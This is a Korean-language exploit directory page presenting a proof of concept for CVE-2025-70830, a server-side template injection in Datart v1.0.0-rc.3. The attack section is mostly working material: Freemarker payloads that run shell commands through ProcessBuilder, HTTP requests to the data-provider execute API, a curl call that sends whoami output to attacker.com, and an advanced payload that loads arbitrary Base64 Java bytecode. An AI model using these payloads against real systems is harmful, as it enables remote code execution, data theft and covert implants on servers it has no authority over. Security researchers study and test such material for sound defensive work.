Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-70830 — Datart v1.0.0-rc.3의 Freemarker 템플릿 엔진에서 발생하는 서버 측 템플릿 인젝션(SSTI) 취약점을 통해 인증된 공격자가 SQL 스크립트 필드에 조작된 Freemarker 템플릿 구문을 주입하여 임의 코드를 실행할 수 있습니다. | Kitploit
도구/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

Datart v1.0.0-rc.3의 Freemarker 템플릿 엔진에서 발생하는 서버 측 템플릿 인젝션(SSTI) 취약점을 통해 인증된 공격자가 SQL 스크립트 필드에 조작된 Freemarker 템플릿 구문을 주입하여 임의 코드를 실행할 수 있습니다.

저장소 보기
56개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-70830: Datart Server-Side Template Injection (SSTI)

취약점 개요 (Overview)

  • CVE 번호: CVE-2025-70830
  • 영향받는 제품: Datart
  • 영향받는 버전: v1.0.0-rc.3
  • 취약점 유형: Server-Side Template Injection (SSTI) - 서버 측 템플릿 인젝션
  • 위험 등급: Remote Code Execution (RCE)

취약점 설명 (Description)

Datart v1.0.0-rc.3 버전의 Freemarker 템플릿 엔진에 서버 측 템플릿 인젝션(SSTI) 취약점이 존재합니다. 인증된 공격자는 SQL 스크립트 필드에 악의적인 Freemarker 템플릿 구문을 주입하여 임의 시스템 코드를 실행할 수 있습니다.

재현 단계 (Proof of Concept)

1. 전제 조건

  • Datart 시스템에 로그인합니다.
  • SQL 실행 기능이 있는 데이터 소스(Data Source)에 접근 및 편집이 가능해야 합니다.

2. Payload 구성

SQL 스크립트/쿼리 편집기(SQL script/query editor)에서 다음 Freemarker Payload를 입력하여 시스템 명령(예: id 또는 calc)을 실행할 수 있습니다:

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

스크립트를 실행하면 서버가 백그라운드에서 해당 명령을 실행합니다.

3. HTTP 요청 예제

API를 통해 취약점을 트리거하는 요청 패킷은 다음과 같습니다:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

고급 익스플로잇 (Advanced Exploitation)

임의 바이트코드 로드 (Load Custom Bytecode)

공격자는 Java의 javax.script.ScriptEngineManager를 사용하여 JS 엔진을 호출하고 임의의 Base64로 인코딩된 Java 바이트코드를 로드 및 실행할 수 있습니다.

Payload 예시:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
도구 다운로드